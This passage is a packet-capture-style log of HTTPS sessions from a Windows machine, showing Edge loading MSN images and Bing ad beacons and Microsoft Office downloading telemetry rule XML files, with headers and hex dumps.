2024-11-27 23:19:50 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49884	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:50 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=165497 Expires: Fri, 29 Nov 2024 21:18:06 GMT Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
2024-11-27 23:19:50 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49883	2.16.158.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	444	OUT	GET /aes/c.gif?RG=4a1af578f39f4a6683df5afb2db2e50c&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241127T231943Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: www.bing.com Connection: Keep-Alive Cookie: MUID=150BA1CB6AB168093499B48F6BD36981
2024-11-27 23:19:50 UTC	778	IN	HTTP/1.1 200 OK Cache-Control: private,no-store Pragma: no-cache Vary: Origin P3P: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 05987F8304314C0385FD8990C2525376 Ref B: DXB251051108042 Ref C: 2024-11-27T23:19:50Z Content-Length: 0 Date: Wed, 27 Nov 2024 23:19:50 GMT Connection: close Set-Cookie: _EDGE_S=SID=1C11F4A9BA686DBB1147E1EDBB616C60; path=/; httponly; domain=bing.com Set-Cookie: MUIDB=150BA1CB6AB168093499B48F6BD36981; path=/; httponly; expires=Mon, 22-Dec-2025 23:19:50 GMT Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.4c9e1002.1732749590.2b94eb8

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4defd72f-901e-005b-7278-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231949Z-174f78459685m244hC1EWRgp2c0000000xeg000000009fzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49858	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231950Z-174f7845968cdxdrhC1EWRg0en0000000xpg000000000q9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:50 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:50 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231950Z-174f7845968jrjrxhC1EWRmmrs0000000xt0000000006yds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:50 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231951Z-174f7845968pf68xhC1EWRr4h80000000xxg0000000044uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49897	108.139.47.92	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:51 UTC	1012	OUT	GET /b2?rn=1732749586781&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29AE41A233D86250177B54E632BA6317&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=10349fc1f4335dafac1bab41732749589; XID=10349fc1f4335dafac1bab41732749589
2024-11-27 23:19:51 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 27 Nov 2024 23:19:51 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 fa2a1404411f25eb7c3c4def0c2864e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: U75GZtPLYkBee8iHlBNNX_1QVL8g1yPI39p_n021JecCr2K9kaimlw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d6e812ca-001e-008d-1b5a-40d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231951Z-174f7845968glpgnhC1EWR7uec0000000xr000000000fvr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49898	20.1.248.118	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:51 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=29AE41A233D86250177B54E632BA6317&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7565e27783d548a2ed0034c34fc339fe HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
2024-11-27 23:19:52 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2795 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132744-T700344123-C128000000002116789+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116789+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:51 GMT Connection: close
2024-11-27 23:19:52 UTC	2795	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 68 65 20 50 61 6c 6f 75 73 65 2c 20 57 61 73 68 69 6e 67 74 6f 6e 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 61 6c 6f 75 73 65 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"The Palouse, Washington\",\"cta\":\"https:\/\/www.bing.com\/search?q=Palouse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49901	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:52 UTC	921	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_0vLehrqSEROoVPvvnJxazVUCUwm4cgj27TTdNqy3SLNFvxgUuUx7qqpB-mDi4VawEzddi-23963YluPeV9pfBSfH6CRbLgqohmOSYyAf28TBdmhEoufXQes7eNmO4Au5u-IHbmG5_Np2gkipdYR88JN1lVA4Q8CBJ9FZfEtbgQHYqEj%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D9c6ed1435f7d1ac716c3b604f788265e&TIME=20241127T231943Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=150BA1CB6AB168093499B48F6BD36981; _EDGE_S=SID=1C11F4A9BA686DBB1147E1EDBB616C60; MR=0
2024-11-27 23:19:52 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=52Rsv5tkJDwCGeRFGoWqQIJQBGUjJOVgoPiQMs5JFA8; domain=.bing.com; expires=Mon, 22-Dec-2025 23:19:52 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 27C0D3AD93904D1480AA0DF5378049F6 Ref B: EWR30EDGE0812 Ref C: 2024-11-27T23:19:52Z Date: Wed, 27 Nov 2024 23:19:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231953Z-174f78459688l8rvhC1EWRtzr00000000a6g00000000b99q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
